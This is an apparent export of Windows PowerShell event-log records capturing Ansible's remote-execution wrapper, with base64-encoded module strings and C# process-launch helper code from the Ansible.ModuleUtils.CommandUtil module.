0cmVhbVJlYWRlciBzdGRlcnJTdHJlYW0sIG91dCBzdHJpbmcgc3Rkb3V0LCBvdXQgc3RyaW5nIHN0ZGVycikKICAgICAgICB7CiAgICAgICAgICAgIHZhciBzb3dhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHZhciBzZXdhaXQgPSBuZXcgRXZlbnRXYWl0SGFuZGxlKGZhbHNlLCBFdmVudFJlc2V0TW9kZS5NYW51YWxSZXNldCk7CiAgICAgICAgICAgIHN0cmluZyBzbyA9IG51bGwsIHNlID0gbnVsbDsKICAgICAgICAgICAgVGhyZWFkUG9vbC5RdWV1ZVVzZXJXb3JrSXRlbSgocykgPT4KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc28gPSBzdGRvdXRTdHJlYW0uUmVhZFRvRW5kKCk7CiAgICAgICAgICAgICAgICBzb3dhaXQuU2V0KCk7CiAgICAgICAgICAgIH0pOwogICAgICAgICAgICBUaHJlYWRQb29sLlF1ZXVlVXNlcldvcmtJdGVtKChzKSA9PgogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzZSA9IHN0ZGVyclN0cmVhbS5SZWFkVG9FbmQoKTsKICAgICAgICAgICAgICAgIHNld2FpdC5TZXQoKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIGZvcmVhY2ggKHZhciB3aCBpbiBuZXcgV2FpdEhhbmRsZVtdIHsgc293YWl0LCBzZXdhaXQgfSkKICAgICAgICAgICAgICAgIHdoLldhaXRPbmUoKTsKICAgICAgICAg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0aGUgZXhlY3V0YWJsZQogICAgICAgIFtzdHJpbmddJHdvcmtpbmdfZGlyZWN0b3J5ID0gJG51bGwsICMgdGhlIHdvcmtpbmcgZGlyZWN0b3J5IHRvIHJ1biB1bmRlciwgd2lsbCBkZWZhdWx0IHRvIHRoZSBjdXJyZW50IGRpcgogICAgICAgIFtzdHJpbmddJHN0ZGluID0gJG51bGwsICMgYSBzdHJpbmcgdG8gc2VuZCB0byB0aGUgc3RkaW4gcGlwZSB3aGVuIGV4ZWN1dGluZyB0aGUgY29tbWFuZAogICAgICAgIFtoYXNodGFibGVdJGVudmlyb25tZW50ID0gQHt9ICMgYSBoYXNodGFibGUgb2YgZW52aXJvbm1lbnQgdmFsdWVzIHRvIHJ1biB0aGUgY29tbWFuZCB1bmRlciwgdGhpcyB3aWxsIHJlcGxhY2UgYWxsIHRoZSBvdGhlciBlbnZpcm9ubWVudCB2YXJpYWJsZXMgd2l0aCB0aGVzZQogICAgKQogICAgCiAgICAjIGxvYWQgdGhlIEMjIGNvZGUgd2U
ScriptBlock ID: a7098e6b-2539-4743-824c-f07bc1b33af2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1701 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0003-6cf0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7VmFsdWU9JHBheWxvYWQubW9kdWxlX2FyZ3N9KSB8IE91dC1OdWxsCiAgICAkcHMuQWRkQ29tbWFuZCgiT3V0LU51bGwiKSB8IE91dC1OdWxsCgogICAgIyByZWRlZmluZSBXcml0ZS1Ib3N0IHRvIGR1bXAgdG8gb3V0cHV0IGluc3RlYWQgb2YgZmFpbGluZy0gbG90cyBvZiBzY3JpcHRzIHVzZSBpdAogICAgJHBzLkFkZFN0YXRlbWVudCgpLkFkZFNjcmlwdCgiRnVuY3Rpb24gV3JpdGUtSG9zdChgJG1zZyl7IFdyaXRlLU91dHB1dCBgJG1zZyB9IikgfCBPdXQtTnVsbAoKICAgIEZvckVhY2ggKCRlbnZfa3YgaW4gJHBheWxvYWQuZW52aXJvbm1lbnQuR2V0RW51bWVyYXRvcigpKSB7CiAgICAgICAgIy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pdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCiRwcm9jZXNzX3V0aWwgPSBAIgp1c2luZyBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXM7CnVzaW5nIFN5c3RlbTsKdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5MaW5xOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKbmFtZXNwYWNlIEFuc2libGUKewogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNFQ1VSSVRZX0FUVFJJQlVURVMKICAgIHsKICAgICAgICBwdWJsaWMgaW50IG5MZW5ndGg7CiAgICAgICAgcHVibGljIEludFB0ciBscFNlY3VyaXR5RGVzY3JpcHRvcjsKICAgICAgICBwdWJsaWMgYm9vbCBiSW5oZXJpdEhhbmRsZSA9IGZhbHNlOwogICAgICAgIHB1YmxpYyBTRUNVUklUWV9BVFRSSUJVVEVTKCkKICAgICAgICB7CiAgICAgICAgICAgIG5MZW5ndGggPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPCiAgICB7CiAgICAgICAgcHVibGljIEludDMyIGNiOwogICAgICAgIHB1YmxpYyBJbnRQdHIgbHBSZXNlcnZlZDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwRGVza3RvcDsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhb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JQ09ERV9FTlZJUk9OTUVOVCA9IDB4MDAwMDAwNDAwOwogICAgICAgIHByaXZhdGUgc3RhdGljIFVJbnQzMiBFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UID0gMHgwMDA4MDAwMDsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSwgQmVzdEZpdE1hcHBpbmcgPSBmYWxzZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQcm9jZXNzKAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBXU3RyKV0KICAgICAgICAgICAgICAgIHN0cmluZyBscEFwcGxpY2F0aW9uTmFtZSwKICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscENvbW1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oIkVycm9yIHBhcnNpbmcgY29tbWFuZCBsaW5lIik7CgogICAgICAgICAgICBJbnRQdHJbXSBzdHJwdHJzID0gbmV3IEludFB0cltudW1BcmdzXTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHJldCwgc3RycHRycywgMCwgbnVtQXJncyk7CiAgICAgICAgICAgIHN0cmluZ1tdIGNtZGxpbmVQYXJ0cyA9IHN0cnB0cnMuU2VsZWN0KHMgPT4gTWFyc2hhbC5QdHJUb1N0cmluZ1VuaShzKSkuVG9BcnJheSgpOwoKICAgICAgICAgICAgTWFyc
ScriptBlock ID: a7098e6b-2539-4743-824c-f07bc1b33af2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1700 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4200 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0003-6cf0-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1699 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4772 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0000-8dec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 5000 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1698 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4520 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0000-8dec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1697 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 5000 | 4772 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:18 AM | dfeadd90-ee34-0000-8dec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1696 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4808 | 4956 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:15 AM | dfeadd90-ee34-0000-84ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4808 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1695 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4808 | 5080 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:15 AM | dfeadd90-ee34-0000-84ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1694 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4808 | 4956 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:15 AM | dfeadd90-ee34-0000-84ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
